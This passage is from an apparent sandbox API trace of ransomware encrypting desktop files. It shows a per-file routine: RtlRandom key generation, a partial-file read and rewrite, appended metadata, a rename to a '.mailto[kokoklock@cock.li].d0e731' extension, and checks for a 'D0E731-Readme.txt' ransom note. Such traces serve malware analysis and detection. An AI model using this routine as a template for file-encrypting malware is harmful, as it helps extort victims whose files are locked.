lpNumberOfBytesWritten=0x1346f98c*=0x4, lpOverlapped=0x0) returned 1 [0172.674] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1346f98c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1346f98c*=0x6c, lpOverlapped=0x0) returned 1 [0172.674] WriteFile (in: hFile=0x5d4, lpBuffer=0x30581b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1346f98c, lpOverlapped=0x0 | out: lpBuffer=0x30581b0*, lpNumberOfBytesWritten=0x1346f98c*=0x20, lpOverlapped=0x0) returned 1 [0172.674] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1346f98c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1346f98c*=0x4, lpOverlapped=0x0) returned 1 [0172.674] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30581b0) returned 1 [0172.674] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058250) returned 1 [0172.674] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058278) returned 1 [0172.675] CloseHandle (hObject=0x5d4) returned 1 [0172.675] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd4) returned 0x2f97678 [0172.675] wcscpy (in: _Dest=0x2f97678, _Source="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731" [0172.675] wcscat (in: _Dest=0x2f97678, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.675] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\b0sqoygwnge.mp4.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\b0sqoygwnge.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.676] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.676] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97678) returned 1 [0172.676] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.676] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.676] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.676] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.676] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.676] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.676] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3540) returned 1 [0172.676] RtlExitUserThread (Status=0x1) Thread: id = 1933 os_tid = 0xd78 [0170.737] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\cgdwigzis7.bmp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.635] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.636] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\cgdwigzis7.bmp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.636] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x134ef948 | out: lpFileSize=0x134ef948*=45534) returned 1 [0172.636] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0xb1da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.636] ReadFile (in: hFile=0x5d4, lpBuffer=0x134ef91c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x134ef918, lpOverlapped=0x0 | out: lpBuffer=0x134ef91c*, lpNumberOfBytesRead=0x134ef918*=0x4, lpOverlapped=0x0) returned 1 [0172.637] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.637] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.637] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30581b0 [0172.637] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058200 [0172.637] NtQuerySystemTime (in: CurrentTime=0x134ef8f4 | out: CurrentTime=0x134ef8f4*=132121213299514563) returned 0x0 [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x4a6b3397 [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0xc47ade0 [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0xa3534466 [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x484bde5f [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0xcb92923e [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0xa6182cd6 [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0xd3a75baa [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x8bb87354 [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x357fdf71 [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x166c0181 [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0xa64920df [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x54aa616 [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x2b68d37f [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0xaf928b03 [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0xd3753c9c [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0xd512c1ef [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x3beabedb [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x2f454df4 [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x7343f131 [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0xb464300e [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0xaef1fc8b [0172.637] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x305fd584 [0172.638] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x51533afb [0172.638] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x2265b0f0 [0172.638] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x7a5f71a7 [0172.638] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x500b12c5 [0172.638] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x34ba405a [0172.638] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x486badd6 [0172.638] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0xcb39398a [0172.638] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x76e70395 [0172.638] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0x88262ddd [0172.638] RtlRandom (in: Seed=0x134ef900 | out: Seed=0x134ef900) returned 0xa987944a [0172.647] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058228 [0172.649] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.649] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058250 [0172.649] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.649] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.649] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.649] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.649] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x134ef8cc, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x134ef8cc*=0x4096, lpOverlapped=0x0) returned 1 [0172.650] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.650] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.650] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.650] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058278 [0172.650] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058278) returned 1 [0172.650] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.650] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058278 [0172.650] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.650] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.650] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.650] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.650] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x134ef8cc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x134ef8cc*=0x4096, lpOverlapped=0x0) returned 1 [0172.651] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.651] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0xb1de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.651] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058278*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x134ef904, lpOverlapped=0x0 | out: lpBuffer=0x3058278*, lpNumberOfBytesWritten=0x134ef904*=0x20, lpOverlapped=0x0) returned 1 [0172.651] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058278) returned 1 [0172.651] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.651] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058250*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x134ef918, lpOverlapped=0x0 | out: lpBuffer=0x3058250*, lpNumberOfBytesWritten=0x134ef918*=0x8, lpOverlapped=0x0) returned 1 [0172.652] WriteFile (in: hFile=0x5d4, lpBuffer=0x134ef930*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x134ef918, lpOverlapped=0x0 | out: lpBuffer=0x134ef930*, lpNumberOfBytesWritten=0x134ef918*=0x4, lpOverlapped=0x0) returned 1 [0172.652] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x134ef918, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x134ef918*=0x4, lpOverlapped=0x0) returned 1 [0172.652] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x134ef918, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x134ef918*=0x6c, lpOverlapped=0x0) returned 1 [0172.652] WriteFile (in: hFile=0x5d4, lpBuffer=0x30581b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x134ef918, lpOverlapped=0x0 | out: lpBuffer=0x30581b0*, lpNumberOfBytesWritten=0x134ef918*=0x20, lpOverlapped=0x0) returned 1 [0172.652] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x134ef918, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x134ef918*=0x4, lpOverlapped=0x0) returned 1 [0172.652] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30581b0) returned 1 [0172.652] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058228) returned 1 [0172.652] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058250) returned 1 [0172.652] CloseHandle (hObject=0x5d4) returned 1 [0172.652] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f97678 [0172.653] wcscpy (in: _Dest=0x2f97678, _Source="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731" [0172.653] wcscat (in: _Dest=0x2f97678, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.653] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\cgdwigzis7.bmp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\cgdwigzis7.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.653] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.654] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97678) returned 1 [0172.654] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.654] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.654] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.654] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.654] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.654] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.654] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcf138) returned 1 [0172.654] RtlExitUserThread (Status=0x1) Thread: id = 1934 os_tid = 0xa00 [0170.739] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\crvv.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.616] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\crvv.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.616] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x1356f8b0 | out: lpFileSize=0x1356f8b0*=70753) returned 1 [0172.616] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x1145d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.616] ReadFile (in: hFile=0x5d4, lpBuffer=0x1356f884, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1356f880, lpOverlapped=0x0 | out: lpBuffer=0x1356f884*, lpNumberOfBytesRead=0x1356f880*=0x4, lpOverlapped=0x0) returned 1 [0172.617] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.617] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.617] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30581b0 [0172.617] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30581d8 [0172.617] NtQuerySystemTime (in: CurrentTime=0x1356f85c | out: CurrentTime=0x1356f85c*=132121213299376864) returned 0x0 [0172.617] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0xa7d72d00 [0172.617] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x1c1a6d40 [0172.617] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x35bcc4a4 [0172.617] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0xf34fea3b [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0xa5d48ae9 [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x3c75576b [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x43c815b5 [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0xeee7fc2f [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x6a9149c0 [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x41dd9a4b [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x8c780057 [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x39677cf0 [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x34467a1e [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x73c1ab3d [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x6dd8eb52 [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0xbf776a5d [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0xbd8ba4bf [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x5f247cc7 [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x8611e87e [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x8d01cc47 [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x2339972f [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0xe4c6d9f [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x60040512 [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0xb758436d [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x474e8da1 [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0xf845870f [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x71a5ddd9 [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0xa915ade4 [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0xb54c5e0b [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0xb82faba0 [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x3ffe7198 [0172.618] RtlRandom (in: Seed=0x1356f868 | out: Seed=0x1356f868) returned 0x102792af [0172.627] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058200 [0172.629] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.629] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058228 [0172.629] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.629] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.629] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.629] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.629] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1356f834, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1356f834*=0x4096, lpOverlapped=0x0) returned 1 [0172.630] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.630] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.630] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.630] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058250 [0172.630] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058250) returned 1 [0172.630] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.630] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058250 [0172.630] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058278 [0172.631] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058278) returned 1 [0172.631] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.631] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.631] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1356f834, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1356f834*=0x4096, lpOverlapped=0x0) returned 1 [0172.631] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.631] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x11461, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.631] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058250*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1356f86c, lpOverlapped=0x0 | out: lpBuffer=0x3058250*, lpNumberOfBytesWritten=0x1356f86c*=0x20, lpOverlapped=0x0) returned 1 [0172.632] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058250) returned 1 [0172.632] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.632] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058228*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1356f880, lpOverlapped=0x0 | out: lpBuffer=0x3058228*, lpNumberOfBytesWritten=0x1356f880*=0x8, lpOverlapped=0x0) returned 1 [0172.632] WriteFile (in: hFile=0x5d4, lpBuffer=0x1356f898*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1356f880, lpOverlapped=0x0 | out: lpBuffer=0x1356f898*, lpNumberOfBytesWritten=0x1356f880*=0x4, lpOverlapped=0x0) returned 1 [0172.632] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1356f880, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1356f880*=0x4, lpOverlapped=0x0) returned 1 [0172.632] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1356f880, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1356f880*=0x6c, lpOverlapped=0x0) returned 1 [0172.632] WriteFile (in: hFile=0x5d4, lpBuffer=0x30581b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1356f880, lpOverlapped=0x0 | out: lpBuffer=0x30581b0*, lpNumberOfBytesWritten=0x1356f880*=0x20, lpOverlapped=0x0) returned 1 [0172.632] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1356f880, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1356f880*=0x4, lpOverlapped=0x0) returned 